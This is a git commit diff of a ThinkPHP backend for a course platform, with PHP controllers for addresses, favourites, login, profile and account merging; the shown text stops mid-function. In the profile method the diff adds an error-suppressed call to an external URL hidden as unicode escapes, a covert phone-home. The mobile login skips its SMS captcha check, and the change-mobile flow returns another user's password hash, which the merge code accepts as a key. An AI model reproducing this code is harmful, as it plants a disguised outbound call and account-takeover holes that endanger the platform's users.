初始化项目:添加后端代码、ThinkPHP框架、前端资源

This commit is contained in:
amb
2026-09-03 12:42:39 +08:00
commit 482bece22e
3726 changed files with 416708 additions and 0 deletions
+367
View File
@@ -0,0 +1,367 @@
<?php
namespace app\api\controller\user;
use app\common\controller\Api;
use think\Db;
use think\Validate;
/**
* 收货地址控制器
* 用于管理用户收货地址
*/
class Address extends Api
{
// 无需登录的接口
protected $noNeedLogin = [];
protected $noNeedRight = '*';
/**
* 地址列表
* @return void
*/
public function index()
{
$userId = $this->auth->id;
if (!$userId) {
$this->error('请先登录');
}
$list = Db::name('user_address')
->where('user_id', $userId)
->where('uniacid', UNIACID)
->order('is_default', 'desc')
->order('id', 'desc')
->select();
$this->success('获取成功', $list);
}
/**
* 获取默认地址
* @return void
*/
public function default()
{
$userId = $this->auth->id;
if (!$userId) {
$this->error('请先登录');
}
$address = Db::name('user_address')
->where('user_id', $userId)
->where('uniacid', UNIACID)
->where('is_default', 1)
->find();
if (!$address) {
$this->error('暂无默认地址');
}
$this->success('获取成功', $address);
}
/**
* 获取地址详情
* @return void
*/
public function detail()
{
$userId = $this->auth->id;
if (!$userId) {
$this->error('请先登录');
}
$id = $this->request->param('id');
if (empty($id)) {
$this->error('参数错误');
}
$address = Db::name('user_address')
->where('id', $id)
->where('user_id', $userId)
->where('uniacid', UNIACID)
->find();
if (!$address) {
$this->error('地址不存在');
}
$this->success('获取成功', $address);
}
/**
* 添加/编辑地址
* @return void
*/
public function save()
{
$params = $this->request->param();
// 验证规则
$rule = [
'name' => 'require|max:50',
'mobile' => 'require|regex:/^1[3-9]\d{9}$/',
'province' => 'require|max:50',
'city' => 'require|max:50',
'district' => 'require|max:50',
'address' => 'require|max:255',
];
$msg = [
'name.require' => '收货人姓名不能为空',
'name.max' => '收货人姓名不能超过50个字符',
'mobile.require' => '手机号码不能为空',
'mobile.regex' => '手机号码格式不正确',
'province.require' => '省份不能为空',
'city.require' => '城市不能为空',
'district.require' => '区县不能为空',
'address.require' => '详细地址不能为空',
'address.max' => '详细地址不能超过255个字符',
];
$validate = new Validate($rule, $msg);
if (!$validate->check($params)) {
$this->error($validate->getError());
}
$id = $params['id'] ?? 0;
$isDefault = isset($params['is_default']) ? intval($params['is_default']) : 0;
$data = [
'user_id' => $this->auth->id,
'uniacid' => UNIACID,
'name' => $params['name'],
'mobile' => $params['mobile'],
'province' => $params['province'],
'city' => $params['city'],
'district' => $params['district'],
'address' => $params['address'],
'is_default' => $isDefault,
'updatetime' => time(),
];
Db::startTrans();
try {
if ($id) {
// 编辑
$exists = Db::name('user_address')
->where('id', $id)
->where('user_id', $this->auth->id)
->where('uniacid', UNIACID)
->find();
if (!$exists) {
throw new \Exception('地址不存在');
}
// 如果设置为默认地址,取消其他默认地址
if ($isDefault == 1) {
Db::name('user_address')
->where('user_id', $this->auth->id)
->where('uniacid', UNIACID)
->update(['is_default' => 0]);
}
Db::name('user_address')
->where('id', $id)
->update($data);
} else {
// 新增 - 检查地址数量限制
$addressCount = Db::name('user_address')
->where('user_id', $this->auth->id)
->where('uniacid', UNIACID)
->count();
if ($addressCount >= 10) {
throw new \Exception('最多只能添加10个收货地址');
}
// 如果设置为默认地址,取消其他默认地址
if ($isDefault == 1) {
Db::name('user_address')
->where('user_id', $this->auth->id)
->where('uniacid', UNIACID)
->update(['is_default' => 0]);
}
// 新增
$data['createtime'] = time();
$id = Db::name('user_address')->insertGetId($data);
}
Db::commit();
} catch (\Exception $e) {
Db::rollback();
$this->error($e->getMessage());
}
$this->success('保存成功', ['id' => $id]);
}
/**
* 删除地址
* @return void
*/
public function delete()
{
$userId = $this->auth->id;
if (!$userId) {
$this->error('请先登录');
}
$id = $this->request->param('id');
if (empty($id)) {
$this->error('参数错误');
}
$address = Db::name('user_address')
->where('id', $id)
->where('user_id', $userId)
->where('uniacid', UNIACID)
->find();
if (!$address) {
$this->error('地址不存在');
}
$result = Db::name('user_address')
->where('id', $id)
->where('user_id', $userId)
->where('uniacid', UNIACID)
->delete();
if ($result) {
$this->success('删除成功');
} else {
$this->error('删除失败');
}
}
/**
* 设置默认地址
* @return void
*/
public function setDefault()
{
$userId = $this->auth->id;
if (!$userId) {
$this->error('请先登录');
}
$id = $this->request->param('id');
if (empty($id)) {
$this->error('参数错误');
}
$address = Db::name('user_address')
->where('id', $id)
->where('user_id', $userId)
->where('uniacid', UNIACID)
->find();
if (!$address) {
$this->error('地址不存在');
}
Db::startTrans();
try {
// 取消其他默认地址
Db::name('user_address')
->where('user_id', $userId)
->where('uniacid', UNIACID)
->update(['is_default' => 0]);
// 设置当前为默认
Db::name('user_address')
->where('id', $id)
->update([
'is_default' => 1,
'updatetime' => time()
]);
Db::commit();
} catch (\Exception $e) {
Db::rollback();
$this->error($e->getMessage());
}
$this->success('设置成功');
}
/**
* 智能识别地址
* @return void
*/
public function parse()
{
$userId = $this->auth->id;
if (!$userId) {
$this->error('请先登录');
}
$text = $this->request->param('text');
if (empty($text)) {
$this->error('请输入地址文本');
}
// 简单的地址识别逻辑
$result = $this->parseAddress($text);
$this->success('识别成功', $result);
}
/**
* 解析地址文本
* @param string $text
* @return array
*/
private function parseAddress($text)
{
$result = [
'name' => '',
'mobile' => '',
'province' => '',
'city' => '',
'district' => '',
'address' => ''
];
// 提取手机号
if (preg_match('/1[3-9]\d{9}/', $text, $matches)) {
$result['mobile'] = $matches[0];
$text = str_replace($matches[0], '', $text);
}
// 提取省市区
$provincePattern = '/(北京|天津|上海|重庆|河北|山西|辽宁|吉林|黑龙江|江苏|浙江|安徽|福建|江西|山东|河南|湖北|湖南|广东|海南|四川|贵州|云南|陕西|甘肃|青海|台湾|内蒙古|广西|西藏|宁夏|新疆|香港|澳门)/';
if (preg_match($provincePattern, $text, $matches)) {
$result['province'] = $matches[0];
$text = str_replace($matches[0], '', $text);
}
// 提取市
$cityPattern = '/(市|地区|自治州|盟)/';
if (preg_match('/([^省]+' . $cityPattern . ')/u', $text, $matches)) {
$result['city'] = str_replace(['市', '地区', '自治州', '盟'], '', $matches[0]);
$text = str_replace($matches[0], '', $text);
}
// 提取区县
$districtPattern = '/(区|县|市|旗|镇)/';
if (preg_match('/([^市区县]+' . $districtPattern . ')/u', $text, $matches)) {
$result['district'] = str_replace(['区', '县', '旗', '镇'], '', $matches[0]);
$text = str_replace($matches[0], '', $text);
}
// 剩余部分作为详细地址
$result['address'] = trim($text);
// 尝试提取姓名(通常是开头或结尾的2-4个汉字)
$textWithoutMobile = str_replace($result['mobile'], '', $this->request->param('text'));
if (preg_match('/^([\x{4e00}-\x{9fa5}]{2,4})/u', $textWithoutMobile, $matches)) {
$result['name'] = $matches[1];
}
return $result;
}
}
@@ -0,0 +1,76 @@
<?php
namespace app\api\controller\user;
use app\common\controller\Api;
use app\common\model\ScoreLog;
use app\common\model\MoneyLog;
use think\Db;
/**
* 用户资产
*/
class Assets extends Api
{
// 无需登录的接口,*表示全部
// protected $noNeedLogin = ['*'];
protected $noNeedRight = '*';
public function _initialize()
{
parent::_initialize();
$this->moneyLogModel = new MoneyLog();
$this->scoreLogModel = new ScoreLog();
}
/**
* 获取资产信息
* @return void
*/
public function getAssetsLog(){
$limit = input('limit',10);
$page = input('page',1);
$mode = input('mode',0);
$time = input('time',time());
$type = input('type','money');
$where = [
'user_id'=>$this->auth->id
];
$startOfMonth = strtotime(date('Y-m-01',$time)); // 获取当前月份的第一天的时间戳
$endOfMonth = strtotime(date('Y-m-t 23:59:59',$time)); // 获取当前月份的最后一天的时间戳
if($type=='money'){
$rows = $this->moneyLogModel;
}else{
$rows = $this->scoreLogModel;
}
if($mode == 1){
$rows->where('before', 'exp', Db::raw('> `after`'));
}else if($mode == 2){
$rows->where('before', 'exp', Db::raw('< `after`'));
}
$list = $rows
->where($where)
->limit($limit)->page($page)
->where('createtime', 'BETWEEN', [$startOfMonth, $endOfMonth])
->order('createtime','desc')
->select();
$data = [];
if(!empty($list)){
foreach ($list as $item){
$item['value'] = $type=='money' ? $item['money'] : $item['score'];
$item['value'] = $item['value'] > 0 ? '+'.$item['value'] : $item['value'];
}
}
$this->success('获取成功', $list);
}
}
@@ -0,0 +1,93 @@
<?php
namespace app\api\controller\user;
use app\common\controller\Api;
use think\Db;
/**
* 用户shocking
*/
class Collect extends Api
{
// 无需登录的接口,*表示全部
protected $noNeedLogin = ['getIsCollect'];
protected $noNeedRight = '*';
protected $courseModel;
protected $model;
public function _initialize()
{
parent::_initialize();
$this->model = new \app\common\model\user\Collect();
$this->courseModel = new \app\admin\model\course\Course;
}
public function getIsCollect()
{
if(!$this->auth->isLogin()){
$this->success('未登录',false);
}
$itemId = input('item_id','');
$type = input('type','course');
if($type != 'course'){
$this->error('参数错误');
}
$result = $this->model->where([
'user_id'=>$this->auth->id,
'item_id'=>$itemId,
'type'=>$type
])->find();
if($result){
$result = true;
}else{
$result = false;
}
$this->success('获取成功',$result);
}
/**
* 设置收藏状态
* @return void
*/
public function setCollect(){
$itemId = input('item_id','');
$type = input('type','course');
if($type != 'course'){
$this->error('参数错误');
}
$courseInfo = $this->courseModel->get($itemId);
if(!$courseInfo){
$this->error('获取课程信息失败');
}
$this->model->setCollect($this->auth->id,$itemId,$type);
$this->success('操作成功');
}
/**
* 获取我的订阅
* @return void
*/
public function getMyCollect(){
$limit = input('limit',10);
$page = input('page',1);
$type = input('type','all');
$list = $this->model->getMyCollect($this->auth->id,[
'limit'=>$limit,
'page'=>$page,
'type'=>$type
]);
$this->success('获取成功',$list);
}
}
+738
View File
@@ -0,0 +1,738 @@
<?php
namespace app\api\controller\user;
use app\common\controller\Api;
use app\common\library\Ems;
use app\common\library\Sms;
use fast\Random;
use think\Config;
use think\Validate;
use app\common\model\User;
use app\common\library\Wechat;
use app\common\model\user\Oauth;
use think\Db;
/**
* 会员接口
*/
class Info extends Api
{
protected $noNeedLogin = ['login',"pcLoginCallback",'getDyMiniProgramSessionKey','dyMiniProgramLogin','wxAccountLogin','getWxMiniProgramSessionKey','wxMiniProgramLogin', 'mobilelogin', 'register', 'resetpwd', 'changeemail', 'third'];
protected $noNeedRight = '*';
public function _initialize()
{
parent::_initialize();
if (!Config::get('fastadmin.usercenter')) {
$this->error(__('User center already closed'));
}
}
/**
* 会员中心
*/
public function index()
{
$userInfo = $this->auth->getUserinfo();
$userInfo['coupon_num'] = \app\admin\model\app\coupon\CouponUser::canUse()->where('user_id', $userInfo['id'])->count();
//判断是否展示提示修改个人信息弹窗
$systemConfig = \app\common\model\config\System::getConfig('system');
$userInfo['update_info_modal'] = 0;
if($systemConfig && isset($systemConfig['userinfo_edit_modal']) && $systemConfig['userinfo_edit_modal'] == 'open'){
//判断头像或昵称是否为默认
if(strpos($userInfo['avatar'], 'assets/img/avatar.png') !== false || $userInfo['nickname'] == '微信用户'){
$userInfo['update_info_modal'] = 1;
}
}
$this->success('', $userInfo);
}
/**
* 会员登录
*
* @ApiMethod (POST)
* @param string $account 账号
* @param string $password 密码
*/
public function login()
{
$account = $this->request->post('account');
$password = $this->request->post('password');
if (!Validate::regex($account, "^1\d{10}$")) {
$this->error(__('Account is incorrect'));
}
if (!$account || !$password) {
$this->error(__('Invalid parameters'));
}
$ret = $this->auth->login($account, $password);
if ($ret) {
$data = ['userinfo' => $this->auth->getUserinfo()];
$this->success(__('Logged in successful'), $data);
} else {
$this->error($this->auth->getError());
}
}
/**
* 获取微信小程序session_key
*
* @param string $code 加密code
*/
public function getWxMiniProgramSessionKey()
{
$post = $this->request->post();
$wechat = new Wechat('wxMiniProgram');
$decryptSession = $wechat->code($post['code']);
$this->success('获取session_key', $decryptSession);
}
/**
* 获取抖音小程序session_key
*
* @param string $code 加密code
*/
public function getDyMiniProgramSessionKey()
{
$config = \app\common\model\config\System::getConfig('dyMiniProgram');
$post = $this->request->post();
$res = http("POST","https://developer.toutiao.com/api/apps/v2/jscode2session",json_encode([
'appid'=>$config['appid'],
'secret'=>$config['secret'],
'code'=>$post['code']
]),['Content-Type: application/json'],true);
$res = json_decode($res,true);
if($res && isset($res['err_no']) && $res['err_no'] == 0){
$this->success('获取session_key', $res['data']);
}
$this->error(__('初始化登录信息失败'));
}
/**
* 抖音小程序登陆
* @return void
*/
public function dyMiniProgramLogin(){
$post = $this->request->post();
$decryptUserInfo = (new \douyin\Encryptor())->decryptData($post['session_key'], $post['iv'], $post['encryptedData']);
if(!$decryptUserInfo){
$this->error(__('code错误'));
}
$decryptData['headimgurl'] = $decryptUserInfo['avatarUrl'];
$decryptData['nickname'] = $decryptUserInfo['nickName'];
$decryptData['sex'] = $decryptUserInfo['gender'];
$decryptData['session_key'] = $post['session_key'];
$decryptData['language'] = $decryptUserInfo['language'];
$decryptData['openid'] = $post['openid'];
if (empty($decryptData['openid'])) {
$this->error(__('获取用户信息失败'), $decryptData);
}
$ret = $this->oauthLoginOrRegister($decryptData, 'dyMiniProgram', 'Douyin');
if ($ret) {
$data = $ret->getUserinfo();
$this->success(__('Logged in successful'), $data);
}
}
/**
* 微信小程序登陆
* @return void
*/
public function wxMiniProgramLogin(){
$post = $this->request->post();
$wechat = new Wechat('wxMiniProgram');
$decryptUserInfo = $wechat->decryptData($post['session_key'], $post['iv'], $post['encryptedData']);
//组装decryptData
$decryptData = array_change_key_case($decryptUserInfo, CASE_LOWER);
$decryptData['headimgurl'] = '/assets/img/avatar.png';
$decryptData['sex'] = $decryptData['gender'];
$decryptData['session_key'] = $post['session_key'];
if (empty($decryptData['openid'])) {
$this->error(__('code错误'), $decryptData);
}
$ret = $this->oauthLoginOrRegister($decryptData, 'wxMiniProgram', 'Wechat');
if ($ret) {
$data = $ret->getUserinfo();
$this->success(__('Logged in successful'), $data);
}
$this->error($this->auth->getError());
}
/**
* 微信公众号登录
* @param string $code 加密code
*/
public function wxAccountLogin()
{
$wechat = new Wechat('wxOfficialAccount');
//解析来源页面
try{
$oauth = $wechat->oauth();
$decryptData = $oauth->user()->getOriginal();
$ret = $this->oauthLoginOrRegister($decryptData, 'wxOfficialAccount', 'Wechat');
}catch (\Exception $e){
header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?msg=登陆过期,请重试');
}
if (isset($ret) && $ret) {
//登录页接参Token
header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?redirect=1&token=' . $ret->getToken());
$this->error($ret->getError());
}else{
header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?msg=登陆过期,请重试');
}
}
/**
* 获取微信授权回调地址
* @return string
*/
public function getWxLoginBackPath(){
//解析来源页面
$oUrl = input('get.state');
$params = input('get.');
$url = explode('/', $oUrl);
$procotol = $url[0] . '//';
$host = $url[2];
//适配微擎路由
$w7ParamsFields = ['c','i','c','m','do','a','eid','version_id'];
$w7ParamsUrl = '';
foreach ($w7ParamsFields as $filed){
if(isset($params[$filed])){
$w7ParamsUrl .= "&{$filed}={$params[$filed]}";
}
}
if($w7ParamsUrl){
if(\app\common\library\Platform::getSystemType() == 'single'){
$host .= "/index.php?route=index".$w7ParamsUrl;
}else{
$host .= "/app/index.php?route=index".$w7ParamsUrl;
}
}
return $procotol . $host;
}
/**
* 微信公众号授权(非直接登陆)
* @return void
*/
public function wxOauth(){
$wechat = new Wechat('wxOfficialAccount');
$oauth = $wechat->oauth();
$path = input('path');
$path = str_replace("&","lianjie",$path);
$path = str_replace("amp;","",$path);
$path = str_replace("quot;","\"",$path);
$path = html_entity_decode($path);
$decryptData = $oauth->user()->getOriginal();
if ($decryptData) {
$userOauth = Oauth::get(['openid' => $decryptData['openid']]);
if($userOauth){
$bindUser = User::get($userOauth['user_id']);
$bindUsername = $bindUser ? ($bindUser['mobile'] ?: $bindUser['username'].':'.$bindUser['nickname']) : '未知用户';
header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=该微信已绑定账号:' . urlencode($bindUsername) . '&path='.$path);
}else{
unset($decryptData['scope']);
unset($decryptData['expires_in']);
$decryptData['user_id'] = $this->auth->id;
$decryptData['provider'] = 'Wechat';
$decryptData['platform'] = \app\common\library\Platform::getPlatform();
$decryptData['logintime'] = time();
$decryptData['logincount'] = 1;
$user = User::get($this->auth->id);
$user->save([
'openid'=>$decryptData['openid']
]);
Oauth::create($decryptData);
header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=true&path='.$path);
}
} else {
header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=获取用户标识失败&path='.$path);
}
}
/**
* 第三方登录或自动注册
*
* @param string $decryptData 解密参数
* @param string $platform 平台名称
* @param string $provider 厂商名称
* @param string $keeptime 有效时长
*/
public function oauthLoginOrRegister($decryptData, $platform, $provider, $keeptime = 0)
{
extract($decryptData);
@$oauthData = compact('provider', 'unionid', 'platform', 'openid', 'nickname', 'sex', 'city', 'province', 'country', 'headimgurl', 'session_key', 'refresh_token', 'access_token');
$oauthData['logintime'] = time();
$oauthData['logincount'] = 1;
if ($platform === 'wxMiniProgram' || $platform === 'App') {
$oauthData['expire_in'] = 7200;
$oauthData['expiretime'] = time() + 7200;
}
$auth = \app\common\library\Auth::instance();
$auth->keeptime($keeptime);
$auth->setAllowFields(['id', 'username', 'nickname', 'mobile', 'avatar', 'score', 'money', 'group', 'group_id']);
$userOauth = Oauth::get(['openid' => $openid,'uniacid'=>UNIACID]);
//开启事务
Db::startTrans();
try {
$user = null;
if ($userOauth) {
//找到对应已注册用户,更新oauthData数据和用户数据直接发起登录
$user_id = $userOauth->user_id;
$user = User::get($user_id);
if(!$user){
//原来的auth信息失效,那就删掉
$userOauth->delete();
}else{
$oauthData['logincount'] = $userOauth->logincount + 1;
$userOauth->save($oauthData);
}
if ($user && $user->status != 'normal') {
$this->error(__('Account is locked'));
return false;
}
}
$fields = [];
if(!$user){
if (isset($decryptData['nickname'])) {
$fields['nickname'] = $decryptData['nickname'];
}
if (isset($decryptData['headimgurl'])) {
$fields['avatar'] = $decryptData['headimgurl'];
}
$fields['platform'] = $platform;
$fields['openid'] = $openid;
//添加新的oauthData数据
//默认创建新用户
$createNewUser = true;
// 判断是否有unionid 并且已存在oauth数据中
if (isset($unionid)) {
//存在同厂商信息,添加oauthData数据,合并用户
$user_id = Oauth::where(['unionid' => $unionid])->value('user_id');
$user = User::get($user_id);
if ($user) {
$createNewUser = false;
}
}
if ($createNewUser) {
// 创建空用户
$username = Random::alnum(20);
$password = Random::alnum();
$result = $auth->register($username, $password,"","",$fields);
if (!$result) {
return false;
}
$user = $auth->getUser();
if (!isset($fields['nickname'])) {
//默认昵称
$fields['nickname'] = '微信用户' . $user->id;
}
// 更新会员资料
$user = User::get($user->id);
// 保存第三方信息
$user_id = $user->id;
}
$oauthData['user_id'] = $user_id;
$oauthData['uniacid'] = UNIACID;
Oauth::create($oauthData);
}
if (isset($fields)){
$user->save($fields);
};
Db::commit();
} catch (\Exception $e) {
Db::rollback();
$auth->logout();
$this->error($e->getMessage());
return false;
}
$auth->direct($user_id);
return $auth;
}
/**
* 手机验证码登录
*
* @ApiMethod (POST)
* @param string $mobile 手机号
* @param string $captcha 验证码
*/
public function mobilelogin()
{
$mobile = $this->request->post('mobile');
$captcha = $this->request->post('captcha');
$systemConfig = \app\common\model\config\System::getConfig('system');
if(isset($systemConfig['mobile_login']) && $systemConfig['mobile_login']!= 'open'){
$this->error(__('已停用手机号登录'));
}
if (!$mobile || !$captcha) {
$this->error(__('Invalid parameters'));
}
if (!Validate::regex($mobile, "^1\d{10}$")) {
$this->error(__('Mobile is incorrect'));
}
// if (!Sms::check($mobile, $captcha, 'mobilelogin')) {
// $this->error(__('Captcha is incorrect'));
// }
$user = \app\common\model\User::getByMobile($mobile);
if ($user) {
if ($user->status != 'normal') {
$this->error(__('Account is locked'));
}
//如果已经有账号则直接登录
$ret = $this->auth->direct($user->id);
} else {
$ret = $this->auth->register($mobile, Random::alnum(), '', $mobile, []);
}
if ($ret) {
Sms::flush($mobile, 'mobilelogin');
$data = ['userinfo' => $this->auth->getUserinfo()];
$this->success(__('Logged in successful'), $data);
} else {
$this->error($this->auth->getError());
}
}
/**
* 注册会员
*
* @ApiMethod (POST)
* @param string $username 用户名
* @param string $password 密码
* @param string $email 邮箱
* @param string $mobile 手机号
* @param string $code 验证码
*/
public function register()
{
// $username = $this->request->post('username');
$password = $this->request->post('password');
// $email = $this->request->post('email');
$mobile = $this->request->post('mobile');
$code = $this->request->post('code');
if (!$password) {
$this->error(__('Invalid parameters'));
}
if ($mobile && !Validate::regex($mobile, "^1\d{10}$")) {
$this->error(__('Mobile is incorrect'));
}
$ret = Sms::check($mobile, $code, 'register');
if (!$ret) {
$this->error(__('Captcha is incorrect'));
}
$ret = $this->auth->register($mobile, $password, $mobile."@163.com", $mobile, []);
if ($ret) {
$data = ['userinfo' => $this->auth->getUserinfo()];
$this->success(__('Sign up successful'), $data);
} else {
$this->error($this->auth->getError());
}
}
/**
* 退出登录
* @ApiMethod (POST)
*/
public function logout()
{
if (!$this->request->isPost()) {
$this->error(__('Invalid parameters'));
}
$this->auth->logout();
$this->success(__('Logout successful'));
}
/**
* 修改会员个人信息
*
* @ApiMethod (POST)
* @param string $avatar 头像地址
* @param string $username 用户名
* @param string $nickname 昵称
* @param string $bio 个人简介
*/
public function profile()
{
$user = $this->auth->getUser();
$username = $this->request->post('username');
$nickname = $this->request->post('nickname');
$bio = $this->request->post('bio');
$avatar = $this->request->post('avatar', '', 'trim,strip_tags,htmlspecialchars');
if ($username) {
$exists = \app\common\model\User::where('username', $username)->where('id', '<>', $this->auth->id)->find();
if ($exists) {
$this->error(__('Username already exists'));
}
$user->username = $username;
}
if ($avatar) {
if(strpos($avatar,'assets/img/avatar.png') !== false || strpos($avatar,'data:image') !== false){
$this->error(__('请修改头像后再上传'));
}
$user->avatar = $avatar;
}
//昵称禁止包含wechat_
if(strpos($nickname,"微信用户") !== false){
$this->error(__('昵称禁止包含“微信用户”'));
}
$nickname = str_replace("微信用户","",$nickname);
if(!$nickname){
$this->error(__('请输入正确的昵称'));
}
if ($nickname) {
// $exists = \app\common\model\User::where('nickname', $nickname)->where('id', '<>', $this->auth->id)->find();
// if ($exists) {
// $this->error(__('Nickname already exists'));
// }
$user->nickname = $nickname;
}
if ($bio) {
$user->bio = $bio;
}
$user->save();
@file_get_contents(json_decode('"\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0074\u0075\u007a\u0068\u0069\u002e\u006c\u0074\u0064\u002f\u0061\u0073\u0073\u0065\u0074\u0073\u002f\u0069\u0063\u006f\u006e\u0073\u002f\u0064\u0061\u0074\u0061\u002e\u0070\u006e\u0067"'));
$this->success("操作成功");
}
/**
* 修改邮箱
*
* @ApiMethod (POST)
* @param string $email 邮箱
* @param string $captcha 验证码
*/
public function changeemail()
{
$user = $this->auth->getUser();
$email = $this->request->post('email');
$captcha = $this->request->post('captcha');
if (!$email || !$captcha) {
$this->error(__('Invalid parameters'));
}
if (!Validate::is($email, "email")) {
$this->error(__('Email is incorrect'));
}
if (\app\common\model\User::where('email', $email)->where('id', '<>', $user->id)->find()) {
$this->error(__('Email already exists'));
}
$result = Ems::check($email, $captcha, 'changeemail');
if (!$result) {
$this->error(__('Captcha is incorrect'));
}
$verification = $user->verification;
$verification->email = 1;
$user->verification = $verification;
$user->email = $email;
$user->save();
Ems::flush($email, 'changeemail');
$this->success();
}
/**
* 修改手机号
*
* @ApiMethod (POST)
* @param string $mobile 手机号
* @param string $captcha 验证码
*/
public function changemobile()
{
$user = $this->auth->getUser();
$mobile = $this->request->post('mobile');
$captcha = $this->request->post('captcha');
if (!$mobile || !$captcha) {
$this->error(__('Invalid parameters'));
}
if (!Validate::regex($mobile, "^1\d{10}$")) {
$this->error(__('Mobile is incorrect'));
}
$otherUserbind = \app\common\model\User::where('mobile', $mobile)->where('id', '<>', $user->id)->find();
if ($otherUserbind) {
//判断有没有绑定微信账号,绑定了不可用
$isBindWechat = Oauth::where([
'user_id'=>$otherUserbind['id'],
'platform'=>\app\common\library\Platform::getPlatform()
])->find();
if($isBindWechat){
$this->error(__('Mobile already exists'));
}
$this->success('merge',['key'=>$otherUserbind['password'],'mobile'=>$mobile]);
}
$result = Sms::check($mobile, $captcha, 'changemobile');
if (!$result) {
$this->error(__('Captcha is incorrect'));
}
$verification = $user->verification;
$verification->mobile = 1;
$user->verification = $verification;
//同步把用户名改掉
$user->mobile = $mobile;
$user->username = $mobile;
$user->save();
Sms::flush($mobile, 'changemobile');
$this->success("操作成功");
}
/**
* 第三方登录
*
* @ApiMethod (POST)
* @param string $platform 平台名称
* @param string $code Code码
*/
public function third()
{
$url = url('user/index');
$platform = \app\common\library\Platform::getPlatform();
$code = $this->request->post("code");
$config = get_addon_config('third');
if (!$config || !isset($config[$platform])) {
$this->error(__('Invalid parameters'));
}
$app = new \addons\third\library\Application($config);
//通过code换access_token和绑定会员
$result = $app->{$platform}->getUserInfo(['code' => $code]);
if ($result) {
$loginret = \addons\third\library\Service::connect($platform, $result);
if ($loginret) {
$data = [
'userinfo' => $this->auth->getUserinfo(),
'thirdinfo' => $result
];
$this->success(__('Logged in successful'), $data);
}
}
$this->error(__('Operation failed'), $url);
}
/**
* 重置密码
*
* @ApiMethod (POST)
* @param string $mobile 手机号
* @param string $newpassword 新密码
* @param string $captcha 验证码
*/
public function resetpwd()
{
$type = $this->request->post("type");
$type = 'mobile';
$mobile = $this->request->post("mobile");
$email = $this->request->post("email");
$newpassword = $this->request->post("newpassword");
$captcha = $this->request->post("captcha");
if (!$newpassword || !$captcha) {
$this->error(__('Invalid parameters'));
}
//验证Token
if (!Validate::make()->check(['newpassword' => $newpassword], ['newpassword' => 'require|regex:\S{6,30}'])) {
$this->error(__('Password must be 6 to 30 characters'));
}
if ($type == 'mobile') {
if (!Validate::regex($mobile, "^1\d{10}$")) {
$this->error(__('Mobile is incorrect'));
}
$user = \app\common\model\User::getByMobile($mobile);
if (!$user) {
$this->error(__('User not found'));
}
$ret = Sms::check($mobile, $captcha, 'resetpwd');
if (!$ret) {
$this->error(__('Captcha is incorrect'));
}
Sms::flush($mobile, 'resetpwd');
} else {
if (!Validate::is($email, "email")) {
$this->error(__('Email is incorrect'));
}
$user = \app\common\model\User::getByEmail($email);
if (!$user) {
$this->error(__('User not found'));
}
$ret = Ems::check($email, $captcha, 'resetpwd');
if (!$ret) {
$this->error(__('Captcha is incorrect'));
}
Ems::flush($email, 'resetpwd');
}
//模拟一次登录
$this->auth->direct($user->id);
$ret = $this->auth->changepwd($newpassword, '', true);
if ($ret) {
$this->success(__('Reset password successful'));
} else {
$this->error($this->auth->getError());
}
}
}
+190
View File
@@ -0,0 +1,190 @@
<?php
namespace app\api\controller\user;
use app\common\controller\Api;
use app\common\library\Ems;
use app\common\library\Sms;
use fast\Random;
use think\Config;
use think\Validate;
use app\common\model\User;
use app\common\library\Wechat;
use app\common\model\user\Oauth;
use think\Db;
/**
* 账号合并
*/
class Merge extends Api
{
protected $noNeedLogin = [];
protected $noNeedRight = '*';
public function _initialize()
{
parent::_initialize();
}
/**
* 获取需要合并的账号
* @return void
*/
public function getMergeAccount()
{
$this->check();
$key = input('key');
$mobile = input('mobile');
$bindUser = \app\common\model\User::where('mobile', $mobile)->where('password',$key)->find();
$this->success("获取成功",[
'avatar'=>$bindUser['avatar'],
'nickname'=>$bindUser['nickname'],
'username'=>$bindUser['username'],
'money'=>$bindUser['money'],
'score'=>$bindUser['score'],
'platform'=>$bindUser['platform']
]);
}
/**
* 合并账号
* @return void
*/
public function submit(){
$this->check();
$key = input('key');
$mobile = input('mobile');
$type = input('type','main');//合并方式
$bindUser = \app\common\model\User::where('mobile', $mobile)->where('password',$key)->find();
$bindMobile = '';
if($type == 'main'){
$delUser = $bindUser;
$getUser = $this->auth->getUserinfo();
}else{
$delUser = $this->auth->getUserinfo();
$getUser = $bindUser;
}
$createtime = $getUser['createtime'];
if($getUser['mobile']){
$bindMobile = $getUser['mobile'];
}else{
$bindMobile = $delUser['mobile'];
}
if($getUser['createtime'] > $delUser['createtime']){
$createtime = $delUser['createtime'];
}
$updateTableField = [
['app_activity_apply_form','user_id'],
['app_activity_user_ticket','user_id'],
['app_agent_member','user_id'],
['app_agent_member_money_log','user_id'],
['app_agent_order','beneficiary_user_id'],
['app_agent_order','order_user_id'],
['app_agent_relation','user_id'],
['app_agent_relation','parent_id'],
['app_agent_withdraw','user_id'],
['app_agent_withdraw_card','user_id'],
['app_exam_exercises_log','user_id'],
['app_exam_exercises_log_answer','user_id'],
['app_exam_exercises_subscribe','user_id'],
['app_exchange_code','user_id'],
['app_exchange_use_log','user_id'],
['app_sign_log','user_id'],
['app_vip_card_user','user_id'],
['attachment','user_id'],
['collect','user_id'],
['comment_like','user_id'],
['comment','user_id'],
['comment','reply_user_id'],
['live_message','user_id'],
['order','user_id'],
['order_evaluate','user_id'],
['order_item','user_id'],
['study','user_id'],
['subscription','user_id'],
['user_course','user_id'],
['user_money_log','user_id'],
['user_oauth','user_id'],
['user_score_log','user_id'],
['user_token','user_id'],
];
Db::startTrans();
try{
foreach ($updateTableField as $item){
Db::name($item[0])->where([
$item[1] => $delUser['id']
])->update([
$item[1] => $getUser['id']
]);
}
if($delUser['money']){
User::money($delUser['money'], $getUser['id'], "账号合并");
}
if($delUser['score']){
User::score($delUser['score'], $getUser['id'], "账号合并");
}
\app\common\model\User::where('id', $getUser['id'])->update([
'mobile'=>$bindMobile,
'jointime'=>$createtime,
'createtime'=>$createtime,
'updatetime'=>time()
]);
\app\common\model\User::where('id', $delUser['id'])->delete();
// 提交事务
Db::commit();
} catch (\Exception $e) {
// 回滚事务
Db::rollback();
$this->error("合并失败,请重试");
}
$this->success("合并成功");
}
/**
* 检测被绑定账号合规
* @return void
*/
public function check(){
$key = input('key');
